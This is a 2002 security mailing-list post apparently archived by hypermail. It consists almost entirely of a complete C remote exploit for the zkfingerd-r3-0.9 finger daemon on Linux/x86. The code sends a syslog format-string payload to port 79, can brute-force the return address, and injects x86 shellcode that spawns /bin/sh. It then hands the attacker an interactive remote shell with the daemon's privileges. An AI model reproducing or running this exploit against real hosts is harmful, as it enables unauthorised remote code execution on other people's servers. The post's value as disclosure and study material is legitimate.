zkfingerd remote exploit

From: security (securityat_private)
Date: Sun Dec 22 2002 - 13:08:24 PST

  • Next message: Dr.Tek: "'printenv' XSS vulnerability"

        zkfingerd remote exploit, for syslog() format string mistake.
    
    marcetam
    
    
    
    /*
     *
     *		remote exploit for zkfingerd-r3-0.9 linux/x86 
     *	gives uid of user who is running zkfingerd (default: nobody)              
     *		    	    by Marceta Milos 
     *                          rootat_private
     *             
     * 		use this for educational propouses only! 
     * 
     * 	For local attack, response based method could be used, but for
     *	remote we can use blind brute force method.
     *
     *	greets to scut, DeadMaker, stinger, harada and all others.
     *     
     */
    
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    #include<unistd.h>
    #include<sys/socket.h>
    #include<arpa/inet.h>
    #include<netdb.h>
    
    #define Kb	1024
    #define PORT	79      
    
    #define green	"\x1B[1;32m"
    #define def	"\x1B[0;37m"
    #define wh	"\x1B[1;37m"
    
    #define SHOFF	576
    #define RETLOC  0xbffff970      /* Slackware 8.0 */
    #define FMT     "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e" 
    #define DIG8	"\x25\x2e\x66"
    #define NOP	"\x90"
    
    
    	char linux_x86_wrx[]=		
     
    		"\x6a\x01"		/* push	$0x1		*/
    		"\x5b"			/* pop %ebx		*/
    		"\xb8\x0b\x6e\x4e\x0b"	/* mov $0x0b4e6e0b,%eax	*/
    		"\x2d\x01\x01\x01\x01"	/* sub $0x01010101,%eax	*/
    		"\x50"			/* push %eax		*/
    		"\x89\xe1"		/* mov %esp,%ecx	*/
    		"\x6a\x04"		/* push	$0x4		*/
    		"\x58"			/* pop 	%eax		*/
    		"\x89\xc2"		/* mov %eax,%edx	*/
    		"\xcd\x80"		/* int $0x80		*/
    		"\xeb\x0c"		/* jmp 12		*/
    		"\x4b"			/* dec %ebx		*/
    		"\xf7\xe3"		/* mul %ebx		*/
    		"\xfe\xca"		/* dec %dl		*/
    		"\x59"			/* pop %ecx		*/
    		"\xb0\x03"		/* movb $0x3,%al	*/
    		"\xcd\x80"		/* int $0x80		*/
    		"\xeb\x05"		/* jmp $0x05		*/
    		"\xe8\xef\xff\xff\xff";	/* call -17 		*/
    
    	 char linux_x86_execve[]=
    
    		"\x6a\x0b"		/* push $0x0b		*/		
    		"\x58"			/* pop %eax		*/
    		"\x99"			/* cdq			*/
    		"\x52"			/* push %edx		*/
    		"\x68\x6e\x2f\x73\x68"	/* push $0x68732f6e	*/
    		"\x68\x2f\x2f\x62\x69"	/* push $0x69622f2f	*/
    	   	"\x89\xe3"		/* mov %esp,%ebx	*/
    	        "\x52"			/* push %edx		*/
    	        "\x53"			/* push %ebx		*/
    	        "\x89\xe1"		/* mov %esp,%ecx	*/
    	        "\xcd\x80";		/* int $0x80		*/
    
    struct wr_addr {
                    int low;
                    int high;
                    } addr;
    
    int host_connect(char *, unsigned short int);
    unsigned long int resolve(char *);
    
    void usage(char *);
    void exploit(char *, unsigned short int, unsigned long int);
    void shell(int);
    
    struct wr_addr convert_addr(unsigned long);
    
    char sendbuf[Kb];
    char recvbuf[Kb];
    
    char *target		=	"127.0.0.1";
    unsigned short int port = 	PORT;
    unsigned long retloc 	=	RETLOC;
    unsigned short int brute=	0;
    
    
    int main(int argc, char **argv, char **env) {
    
    	char c;
    
    	printf(wh"\n remote nobody exploit for zkfingerd-r3-0.9 by marcetam."def"\n\n");
    
    	if (argc<2)
    		usage(argv[0]);
    
            while ((c = getopt(argc, argv, "h:p:b:")) != EOF) {
    
                    switch (c) {
    
    		case 'h':
    			target = optarg;
    			break;
                    case 'p':
    			port = (short)atoi(optarg);
    			break;
                    case 'b':
    			retloc	= strtoul(optarg, &optarg,16);
    			brute	= 1;
    			break;
    		default:
    			usage(argv[0]);
                            break;
                    }
            }
    	printf(" target is : \n\n");
    	printf(" host : "wh"%s"def"\n",target);
    	printf(" port : "wh"%hu"def"\n",port);
    	printf(" ret  : "wh"%#lx"def"\n\n",retloc);
    	printf(" attacking ... ");
    
    	if (brute != 0) {
    
    		while(1) {
    
    	printf("trying ret : %#lx\n", retloc);
    			sleep(1);
    			exploit(target, port, retloc);
    			retloc -= 1;
    		};
    	} else exploit(target, port, retloc);
    
    	return(0);
    }
    
    void usage(char *name){
    
            fprintf(stderr, " usage: %s -h <hostname> -p <port> -b <addr>\n\n",name);
            fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n"
    			" -p port\t port number (default 79)\n"
    			" -b addr\t brute force retloc starting from addr\n"
    			"\t\t   WARNING : this will flood logfile\n\n");
    
            exit(EXIT_FAILURE);
    }
    
    void exploit(char *hostname, unsigned short int port, unsigned long int retaddr){ 
    
            unsigned long *ptr;
    
    	char	ret[4],
    		*chr;
    
    	int	i,
    		fd;
    
    	bzero(sendbuf, Kb);
    	bzero(recvbuf, Kb);
    	bzero(ret, 4);
    
    	fd = host_connect(hostname, port);
    
    	ptr	=	(long *)ret;
    	*(ptr)	=	retaddr;
    	ret[sizeof(ret)] = '\0';
    
    	for(i = 0;i < 3;i++)
    		strcat(sendbuf,ret);
    	ret[0] += 2;
    	strcat(sendbuf, ret);
    
    	for(i = 0;i < 40; i++)
    		strcat(sendbuf, DIG8);      
    
    	addr = convert_addr(retaddr + SHOFF);
    	sprintf(sendbuf + strlen(sendbuf), FMT, addr.low);
    	sprintf(sendbuf + strlen(sendbuf), FMT, addr.high);
    	chr = sendbuf + strlen(sendbuf);
    
    	for(i = 0;i < 128;i++)
    		strcat(sendbuf, NOP);
    
    	strcat(sendbuf, linux_x86_wrx);
    	write(fd, sendbuf, Kb);
    	read(fd, recvbuf, Kb);
    
    	if (strcmp(recvbuf, "\nmM\n") == 0) {
    
    		printf(green"YEAH!\n"def);
    		sleep(1);
    		printf(" sending shellcode. \n");
    		write(fd, linux_x86_execve, sizeof(linux_x86_execve));
    		printf(" starting shell #\n"def);
    		write(fd,"\n", 1);
    		write(fd,"uname -a;id\n", 12);
    		shell(fd);
    	}
    	else printf(wh" failed.\n\n"def);
    }
    
    struct wr_addr convert_addr(unsigned long addr) {
    
    	struct wr_addr target;
    
    	target.low  = (addr & 0x0000ffff);
    	target.high = (addr & 0xffff0000) >> 16;
    
    	if (target.high > target.low)
    		target.high -= target.low;
    	else {
    		target.high += 0x10000;
    		target.high -= target.low;
    	}
    	target.low -= 0x58;
    	return(target);
    }
    
    unsigned long int resolve(char *hostname) {
    
    	struct hostent *host;
    	long            r;
    
    	r = inet_addr(hostname);
    
    	if (r == -1) { 
    		host = gethostbyname(hostname);
    		if (host == NULL) {
    			return(0);
    		} else { 
    			return(*(unsigned long *)host->h_addr); 
    	               }
    	} 
    	return(r);
    }
    
    int host_connect(char *hostname, unsigned short int port) {
    
            struct sockaddr_in	sa;
    	int			fd;
    
            sa.sin_family	=	AF_INET;
            sa.sin_port	=	htons(port);
            fd		=	socket(AF_INET, SOCK_STREAM, 0);
    
            if (fd == -1)
    		return(fd);
    
    	if (!(sa.sin_addr.s_addr = resolve(hostname))) {
    		close(fd);
                    return(-1);
            }
    
    	if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) {
    		perror("connect");
    		close(fd);
    		return(-1);
            }
    
            return(fd);
    }
    
    void shell(int fd) {
    
    	char	buf[512];
    	int	l;
            fd_set  fds;
    
    
            while (1) {
    
                    FD_SET(0, &fds);
                    FD_SET(fd, &fds);
    
                    select(fd + 1, &fds, NULL, NULL, NULL);
    
                    if (FD_ISSET(0, &fds)) {
                            l = read(0, buf, sizeof (buf));
                            if (l <= 0) {
                                    perror("read user");
                                    exit(EXIT_FAILURE);
                            }
                            write(fd, buf, l);
                    }
    
                    if (FD_ISSET(fd, &fds)) {
                            l = read(fd, buf, sizeof (buf));
                            if (l == 0) {
                                    printf("connection closed by foreign host.\n");
                                    exit(EXIT_FAILURE);
                            } else if (l < 0) {
                                    perror("read remote");
                                    exit(EXIT_FAILURE);
                            }
                            write(1, buf, l);
                    }
            }
    }
    
    /* www.marcetam.net */
    



    This archive was generated by hypermail 2b30 : Tue Dec 24 2002 - 01:25:05 PST